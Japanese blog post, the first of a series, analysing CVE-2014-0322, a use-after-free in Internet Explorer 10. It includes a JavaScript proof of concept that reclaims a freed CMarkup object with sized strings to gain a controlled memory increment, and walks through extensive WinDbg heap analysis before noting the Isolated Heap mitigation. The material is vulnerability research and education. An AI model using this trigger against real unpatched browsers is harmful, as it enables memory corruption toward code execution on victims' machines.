Deep Dive into Exploit of Use-After-Free Vulnerability - 1
以前紹介した Metasploit に含まれる CVE-2014-0322 の脆弱性を利用するモジュールについて、ようやくある程度の理解ができるようになったので記事にします。かなり長くなりそうなので、分割します。
このモジュールは、以下 2 つのファイルで構成されます。ruby のスクリプトと、Flash の swf ファイルです。ruby のスクリプトの中に、JavaScript を含む HTML ページが埋め込まれています。
/usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
/usr/share/metasploit-framework/data/exploits/CVE-2014-0322/AsXploit.swf
Ruby のファイルは、GitHub からも見ることができます。
metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
AsXploit.swf のソースコードは Metasploit に含まれていないので、JPEXS Free Flash Decompiler で逆コンパイルしました。わりと綺麗なコードを生成してくれます。
と、思っていたらソースあったし・・・これで 1 日ぐらいロスした orz
https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as
Ruby のスクリプトの中に、参考 URL として以下のブログ記事が挙げられています。これはMISC Magazine という雑誌に載せる記事の概要だそうです。
HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html
まずは、CVE-2014-0322 というのはどういうバグで、どうすると何が起こるのか、を見てみます。
以下は、HDW Sec のブログに載っている JavaScript を少し単純化したものです。このコードを含む適当な HTML を書いて、Internet Explorer 10 (修正パッチである KB2925418 を含まないもの) で開くと、IE がクラッシュします。
<script>
function dword2data(dword) {
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
var g_arr = [];
var arrLen = 0x250;
function fun() {
var a = 0;
for (a = 0; a < arrLen; ++a) {
g_arr[a] = document.createElement('div')
}
var magic1 = 0xdeadc0de;
var magic2 = 0x12345678;
var b = dword2data(magic1);
while (b.length < 0x360) {
b += dword2data(magic2)
}
try {
this.outerHTML = this.outerHTML
} catch (e) {}
CollectGarbage();
for (a = 0; a < arrLen; ++a) {
g_arr[a].title = b.substring(0, (0x340 - 2) / 2);
}
}
window.onload = function() {
var a = document.getElementsByTagName('script');
var b = a[0];
b.onpropertychange = fun;
b.appendChild(document.createElement('div'));
}
</script>
デバッガーを繋いでおくと、以下のアクセス違反 (AV = Access Violation) をキャッチできます。スタックトレースから、onload から JavaScript が呼ばれて、appendChild を実行したところで AV になったことが分かります。
(6c.750): Access violation - code c0000005 (first/second chance not available)
eax=12345678 ebx=03e4d1a8 ecx=00000001 edx=03f056c8 esi=03f056c8 edi=03e6d1a0
eip=72da7a59 esp=0290b6fc ebp=0290b768 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
mshtml!CMarkup::UpdateMarkupContentsVersion+0x16:
72da7a59 ff4010 inc dword ptr [eax+10h] ds:002b:12345688=????????
0:005> k
ChildEBP RetAddr
0290b6f8 72eada96 mshtml!CMarkup::UpdateMarkupContentsVersion+0x16
0290b768 72eae1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
0290b7ac 72eae065 mshtml!CMarkup::InsertSingleElement+0x169
0290b88c 72eaddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
0290b8b0 72eadd6c mshtml!CMarkup::InsertElementInternal+0x2e
0290b8f0 72eade09 mshtml!CDoc::InsertElement+0x9c
0290b9b8 72e43c10 mshtml!InsertDOMNodeHelper+0x454
0290ba30 72e4390c mshtml!CElement::InsertBeforeHelper+0x2a8
0290ba94 72e4402c mshtml!CElement::InsertBeforeHelper+0xe4
0290bab4 72e46f43 mshtml!CElement::InsertBefore+0x36
0290bb40 72e46e60 mshtml!CElement::Var_appendChild+0xc7
0290bb70 724cb86f mshtml!CFastDOM::CNode::Trampoline_appendChild+0x55
0290bbd8 724a425c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0290bd74 724a36d9 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0290be8c 04fc0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0290be98 7249f8e0 0x4fc0fe1
0290bf20 7249fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0290bf38 7249fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0290bf80 7249f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0290bfac 724cc3cd jscript9!ScriptSite::Execute+0x61
0290c010 731a4a64 jscript9!ScriptEngine::Execute+0x115
0290c0c8 731a4957 mshtml!CListenerDispatch::InvokeVar+0xfe
0290c0e8 731a4791 mshtml!CListenerDispatch::Invoke+0x47
0290c178 731a4064 mshtml!CEventMgr::_InvokeListeners+0x16b
0290c190 731a400f mshtml!CEventMgr::_InvokeListenersOnWindow+0x3b
0290c210 731a44f5 mshtml!CEventMgr::_InvokeListeners+0x1e7
0290c388 72fed3d6 mshtml!CEventMgr::Dispatch+0x4ae
0290c3ac 73025170 mshtml!CEventMgr::DispatchEvent+0xdd
0290c3e4 730256d4 mshtml!COmWindowProxy::Fire_onload+0x134
0290c444 730239fb mshtml!CMarkup::OnLoadStatusDone+0x448
...
eax+10 が指す 12345688 というアドレスは、無効な領域なので、Read/Write ともにできません。inc 命令は Read/Write 両方を行うため、AV が発生します。ここでの最大のポイントは、eax の持つ 12345678 という値にあります。このアドレス、JavaScript 内で変数として指定されています。変数を別の値に変えると、AV が発生するアドレスを任意に変えられます。それだけでなく、書き込み可能なアドレスであれば任意の場所の Byte 値をインクリメントできることになります。これは IE のバグであり、CVE-2014-0322 が脆弱性と呼ばれる所以です。「書き込み可能な任意の場所の Byte 値をインクリメントできる」ことを起点として、「任意のペイロード (meterpreter のようなバイナリ) を適当な位置に書き込んで、プログラム カウンターをそこに変更して実行する」 という、”わらしべ長者” になれば exploit 成功です。
まずはこの AV を理解するところから始めます。
0:005> u MSHTML!CMarkup::UpdateMarkupContentsVersion
mshtml!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c mov eax,dword ptr [edx+7Ch]
72da7a46 40 inc eax
72da7a47 0d00000080 or eax,80000000h
72da7a4c 89427c mov dword ptr [edx+7Ch],eax
72da7a4f 8b82ac000000 mov eax,dword ptr [edx+0ACh]
72da7a55 85c0 test eax,eax
72da7a57 7403 je mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72da7a5c)
72da7a59 ff4010 inc dword ptr [eax+10h]
0:005> dd @edx
03f056c8 deadc0de 12345678 12345678 12345678
03f056d8 12345678 12345678 12345678 12345678
03f056e8 12345678 12345678 12345678 12345678
03f056f8 12345678 12345678 12345678 12345678
03f05708 12345678 12345678 12345678 12345678
03f05718 12345678 12345678 12345678 12345678
03f05728 12345678 12345678 12345678 12345678
03f05738 12345678 12345678 12345679 92345679
逆アセンブルの結果を見ると、eax は edx から来ています。edx は何らかのオブジェクトであり、eax はオフセット +AC にあるメンバ変数のようです。eax もまた何らかのオブジェクトであり、NULL チェックの後にオフセット +10 のメンバ変数をインクリメントしている、と読めます。JavaScript の変数の値である eax の値は edx+78 から来ているので、edx の中身を見ると、先頭が deadc0de で、残りは 12345678 で埋められています。再度JavaScript のコードを確認すると、fun 関数における b という文字列変数の内容と一致します。つまり、本来オブジェクトが存在しているべき領域が、JavaScript の文字列で置き換えられています。
edx のアドレスの種類を調べるため、!address edx コマンドを実行します。
0:005> r edx
edx=03f056c8
0:005> !address @edx
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Heap
Base Address: 03e10000
End Address: 03f0f000
Region Size: 000ff000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 03e10000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x6e0000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x3f056c8
0:005> !heap -x 0x3f056c8
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
03f056c0 03f056c8 006e0000 03e79a28 348 - 8 LFH;busy
この出力結果は、03e10000から03f0f000までの範囲がヒープ領域であり、edx=03f056c8 もそこに含まれていることを示します。さらに !heap コマンドでヒープ領域を分析すると、0x340 バイトのバッファーであるようです(Size の 348 から Unused の 8 を引いた値が実際のサイズ)。 ヒープ領域の境界が分かったので、その前後も見ておきます。
03f056a0 12345678 12345678 12345678 12345678
03f056b0 12345678 12345678 12345678 00005678
03f056c0 461b2184 88003400 deadc0de 12345678
03f056c0 12345678 12345678 12345678 12345678
03f056e0 12345678 12345678 12345678 12345678
03f056f0 12345678 12345678 12345678 12345678
...
03f059e0 12345678 12345678 12345678 12345678
03f059f0 12345678 12345678 12345678 12345678
03f05a00 12345678 00005678 461b201d 88003500
03f05a10 deadc0de 12345678 12345678 12345678
03f05a20 12345678 12345678 12345678 12345678
03f05a30 12345678 12345678 12345678 12345678
前後ともに、同じ文字列で埋められています。03f056c0 から 0x340 バイト続く文字列の最後の Word 値 (at 03f05a06) は 0x0000 で、おそらく NULL 終端文字と考えられます。そして次の文字列の先頭 (deadc0de) があるアドレス 03f05a10 に対して !heap を実行すると、先ほどと同じ結果が返ってきます。
0:005> !heap -x 03f05a10
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
03f05a08 03f05a10 006e0000 03e79a28 348 - 8 LFH;busy
ここで JavaScript のコードを確認すると、以下の for ループが見つかります。
for (a = 0; a < arrLen; ++a) {
g_arr[a].title = b.substring(0, (0x340 - 2) / 2);
}
部分文字列の長さ “(0x340 - 2) / 2” のうち、/2 の部分は、JavaScript における文字は UTF-16 で 1 文字 2 バイトだからでしょう。-2 は、内部的に文字の末尾に NULL 終端文字が入ることを考慮していると考えられます。つまり、この部分文字列の一つ一つがちょうど 0x340 バイトのヒープを確保するようにデザインされています。
AV のより詳細な分析を行うため、Full Page Heap と User-mode stacktrace database を有効にしてから同じページを開きます。デバッガーに含まれている gflags を使って “gflags -i iexplore.exe +hpa +ust” コマンドを実行してください。Page Heap と User-mode stack trace database についてはこちら↓
The Structure of a Page Heap Block
http://msdn.microsoft.com/en-us/library/ms220938(v=vs.90).aspx
GFlags and PageHeap (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx
Create user mode stack trace database (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff540107(v=vs.85).aspx
また 同じ関数で AV が発生しますが、発生個所が少し違っています。
mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c mov eax,dword ptr [edx+7Ch]
72d37a46 40 inc eax
72d37a47 0d00000080 or eax,80000000h
72d37a4c 89427c mov dword ptr [edx+7Ch],eax
72d37a4f 8b82ac000000 mov eax,dword ptr [edx+0ACh]
72d37a55 85c0 test eax,eax
72d37a57 7403 je mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72d37a5c)
72d37a59 ff4010 inc dword ptr [eax+10h] <<< ここはパス
72d37a5c 8b8a94000000 mov ecx,dword ptr [edx+94h]
72d37a62 33c0 xor eax,eax
72d37a64 85c9 test ecx,ecx
72d37a66 7403 je mshtml!CMarkup::UpdateMarkupContentsVersion+0x28 (72d37a6b)
72d37a68 8b410c mov eax,dword ptr [ecx+0Ch]
72d37a6b 83b8c001000000 cmp dword ptr [eax+1C0h],0 ds:002b:000001c0=????????
0:005> dd edx
0d032cc0 00000000 00000000 00000000 00000000
0d032cd0 00000000 00000000 00000000 00000000
0d032ce0 00000000 00000000 00000000 00000000
0d032cf0 00000000 00000000 00000000 00000000
0d032d00 00000000 00000000 00000000 00000000
0d032d10 00000000 00000000 00000000 00000000
0d032d20 00000000 00000000 00000000 00000000
0d032d30 00000000 00000000 00000001 80000001
Page Heap なしでクラッシュした inc はパスして、cmp でクラッシュしました。同様に edx の指すバッファーを見ると、deadc0de はなく、00000000 で埋められています (一部は、クラッシュする前のコードによって書き換えられています)。inc はその前の NULL チェックで弾かれて実行されなかっただけのようです。先ほどと同様、edx に対して !address と !heap を実行します。Full Page Heap が有効になっているので、!heap -p コマンドが使えます。
0:005> !address @edx
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: PageHeap
Base Address: 0d032000
End Address: 0d033000
Region Size: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0d030000
Allocation Protect: 00000001 PAGE_NOACCESS
More info: !heap -p 0xac1000
More info: !heap -p -a 0xd032cc0
0:005> !heap -p -a 0xd032cc0
address 0d032cc0 found in
_DPH_HEAP_ROOT @ ac1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr
VirtSize)
cb9316c: d032ff0 10 - d032000
2000
74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
77d132ff ntdll!RtlAllocateHeap+0x00000176
72ca6d51 mshtml!CAttrArray::Set+0x0000004e
72dc8645 mshtml!CAttrArray::SetString+0x00000041
72e191b3 mshtml!BASICPROPPARAMS::SetStringProperty+0x00000243
72f392e1 mshtml!CBase::put_StringHelper+0x0000005e
72f037a4 mshtml!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000074
7245b86f jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
7245c6ba jscript9!Js::JavascriptArray::GetSetter+0x000000cf
72460953 jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
724336d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305
ヒープ領域に属している点は同じですが、!heap -p -a の実行結果では 0x10 バイトの別の場所のヒープが出力されます。edx が指すアドレスにバッファーは存在しないようです。PageHeap なしのときの 0x340 バイトの文字列はどこへ行ったのでしょうか。
今度は、gflags の設定はそのままで、AV が発生しない正常な動作を見てみます。mshtml!CMarkup::UpdateMarkupContentsVersion の先頭にブレークポイントを設定してから、JavaScript を含んでいそうな適当なページを開きます。複数のコードパスでヒットしますが、なるべく近いものを使いたいのでコールスタックに mshtml!CMarkup::InsertElementInternal が含まれているブレークを見つけます。
0:005> r
eax=00000000 ebx=120a2fa0 ecx=2d875894 edx=10fe7cc0 esi=10fe7cc0 edi=0e38afc8
eip=72d37a43 esp=091db2fc ebp=091db368 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204
mshtml!CMarkup::UpdateMarkupContentsVersion:
72d37a43 8b427c mov eax,dword ptr [edx+7Ch] ds:002b:10fe7d3c=80000028
0:005> k5
ChildEBP RetAddr
091db2f8 72e3da96 mshtml!CMarkup::UpdateMarkupContentsVersion
091db368 72e3e1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277
091db3ac 72e3e065 mshtml!CMarkup::InsertSingleElement+0x169
091db48c 72e3ddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d
091db4b0 72e3dd6c mshtml!CMarkup::InsertElementInternal+0x2e
!address と !heap を実行します。
0:005> !address @edx
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: PageHeap
Base Address: 10fe7000
End Address: 10fe8000
Region Size: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 10f10000
Allocation Protect: 00000001 PAGE_NOACCESS
More info: !heap -p 0x3981000
More info: !heap -p -a 0x10fe7cc0
0:005> !heap -p -a 0x10fe7cc0
address 10fe7cc0 found in
_DPH_HEAP_ROOT @ 3981000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr
VirtSize)
109b3548: 10fe7cc0 340 - 10fe7000
2000
mshtml!CMarkup::`vftable'
74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f
77d487b6 ntdll!RtlpAllocateHeap+0x0000009b
77d132ff ntdll!RtlAllocateHeap+0x00000176
72cc4405 mshtml!CDoc::CreateMarkupFromInfo+0x0000017f
7313af7f mshtml!CDoc::DoNavigate_CreateMarkupForExistingWindow+0x0000004b
7313afe7 mshtml!CDoc::DoNavigate+0x000008b3
72faf5f9 mshtml!CDoc::FollowHyperlink2+0x0000058f
7313b50f mshtml!CWindow::SuperNavigateInternal+0x000001df
7313b305 mshtml!CWindow::SuperNavigate2WithBindFlags+0x00000029
73ef7adb ieframe!CDocObjectHost::_NavigateDocument+0x00000185
73e7d86c ieframe!CDocObjectHost::SetTarget+0x00000270
73e7d5cf ieframe!CDocObjectView::CreateViewWindow2+0x000000ef
73e7d498 ieframe!CDocObjectView::CreateViewWindow+0x0000005f
73e7d40d ieframe!FileCabinet_CreateViewWindow2+0x0000013c
73e7d20c ieframe!CBaseBrowser2::_CreateNewShellView+0x000001db
73e7cff9 ieframe!CBaseBrowser2::_CreateNewShellViewPidl+0x00000086
73e7cf17 ieframe!CBaseBrowser2::v_NavigateToPidl+0x000001b8
73ef7204 ieframe!CBaseBrowser2::_OnGoto+0x00000210
73ef6fea ieframe!CBaseBrowser2::_OnAsyncOperation+0x00000031
73e70723 ieframe!CBaseBrowser2::v_WndProc+0x0000013c
73fc6257 ieframe!CShellBrowser2::v_WndProc+0x00000195
73e41fd8 ieframe!CShellBrowser2::s_WndProc+0x0000006d
767c77d8 user32!InternalCallWinProc+0x00000023
767c78cb user32!UserCallWinProcCheckWow+0x00000100
767c899d user32!DispatchMessageWorker+0x000003ef
767c8a66 user32!DispatchMessageW+0x00000010
73e4363e ieframe!CTabWindow::_TabWindowThreadProc+0x00000476
73e90331 ieframe!LCIETab_ThreadProc+0x00000378
77a87bc8 iertutil!CIsoWinMsg::PostQueuedMessagesToComponent+0x0000004b
73c02a34 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000066
753a8543 kernel32!BaseThreadInitThunk+0x0000000e
長さ 0x340 のオブジェクトが出てきました。edx のアドレスの中身をみます。
0:005> dd edx
10fe7cc0 72c45b90 00000007 00000000 000000a0
10fe7cd0 10f6bff0 00000000 00000000 00000000
10fe7ce0 00000000 00000000 00000000 00000000
10fe7cf0 0c000001 8247c000 00000000 00000000
10fe7d00 00000000 0d6eafc0 0ff94f50 00000000
10fe7d10 00000100 00000000 00000000 0d726fc0
10fe7d20 00000002 00000004 00000010 0000a4d1
10fe7d30 10995f20 00000000 00000029 80000028
0:005> ln 72c45b90
(72c45b90) mshtml!CMarkup::`vftable' | (72c45de8) mshtml!CElement::`vftable'
Exact matches:
mshtml!CMarkup::`vftable' = <no type information>
0:005> dds 72c45b90
72c45b90 72f7cf90 mshtml!CMarkup::PrivateQueryInterface
72c45b94 72c63a74 mshtml!CMarkup::PrivateAddRef
72c45b98 72c63a51 mshtml!CMarkup::PrivateRelease
72c45b9c 73277ab3 mshtml!CBase::PrivateGetTypeInfoCount
72c45ba0 73277a7a mshtml!CBase::PrivateGetTypeInfo
72c45ba4 73277a3b mshtml!CBase::PrivateGetIDsOfNames
72c45ba8 73189446 mshtml!CBase::PrivateInvoke
72c45bac 7311b22c mshtml!CBase::PrivateGetDispID
先頭がコード領域のアドレスなので、これは vtable と考えられます。シンボルを見てみると、edx は mshtml!CMarkup クラスであることが分かります。長さは 0x340 です。AV 発生個所が CMarkup のメンバ関数なので、これは this ポインターしょうか。(ecx ではなく edx レジスタなので確証はありませんが。)
以上をまとめると、通常であれば 0x340 のmshtml!CMarkup クラスがヒープ上に確保されているところに、ちょうどヒープ上で0x340 の長さになるようにデザインされた JavaScript の文字列が埋め込まれています。そして、PageHeap 有効下においてこの HTML を開いたときは、edx はヒープ領域の中のバッファーが存在しないアドレスを指していました。これが Use-After-Free の脆弱性です。バッファー解放後に、それとちょうど同じ長さのバッファーを確保させることで、解放された場所と同じ領域が再利用されるのです。バグによって、解放済みのアドレスを指すポインター (=dangling pointer) が残っている間にアドレスの再利用が行われてしまうと、そのポインターは解放されたはずなのに、再び有効なアドレスを指すことになります。これはポインターが乗っ取られた状態です。
次に、PageHeap を無効にし、JavaScript 側で部分文字列の長さを変えて試します。例えばこんな感じ。
for (a = 0; a < arrLen; ++a) {
g_arr[a].title = b.substring(0, (0x341 - 2) / 2 + 1);
}
こうすると、クラッシュは起きません。手順はこれまでと同じなので結果だけ貼ると、!heap の結果は解放済みのアドレスとして出力されます。これは edx が dangling pointer であることを示しており、バグです。これを乗っ取ることができるので、Use-After-Free が脆弱性と呼ばれます。
0:005> r
eax=00000000 ebx=04a0a058 ecx=00000001 edx=011a6ab8 esi=011a6ab8 edi=04a166a8
eip=72da7a43 esp=033fb3bc ebp=033fb428 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204
MSHTML!CMarkup::UpdateMarkupContentsVersion:
72da7a43 8b427c mov eax,dword ptr [edx+7Ch] ds:002b:011a6b34=80000005
0:005> !heap -x @edx
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
011a6ab0 011a6ab8 01140000 01140000 348 1000 0 free
トレンドマイクロのサイトに、同様の解析の流れ、及び、Isolated Heap と呼ばれる IE 側の防御メカニズムに関する紹介があります。
Isolated Heap for Internet Explorer Helps Mitigate Exploit | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/isolated-heap-for-internet-explorer-helps-mitigate-uaf-exploits/
Isolated Heap とは、簡単に言うと mshtml (trident) のために専用のヒープ MSHTML!g_hIsolatedHeap を使うようになる機能です。これによって、JavaScript などを使って外部から mshtml の dangling pointer を乗っ取ることが極めて困難になります。この機能は 2014 年 6 月のアップデートに含まれています。
MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
http://support.microsoft.com/kb/2969262
Microsoft Security Bulletin MS14-035 - Critical
https://technet.microsoft.com/library/security/MS14-035
以下のブログによると、Google Chrome のエンジンにも似たような機能が実装されているようです。
Isolated Heap & Friends - Object Allocation Hardening in Web Browsers - mwrlabs
https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends—object-allocation-hardening-in-web-browsers/
というわけで今回はここまで。次回から Flash を使った Exploit の手法を見ていきます。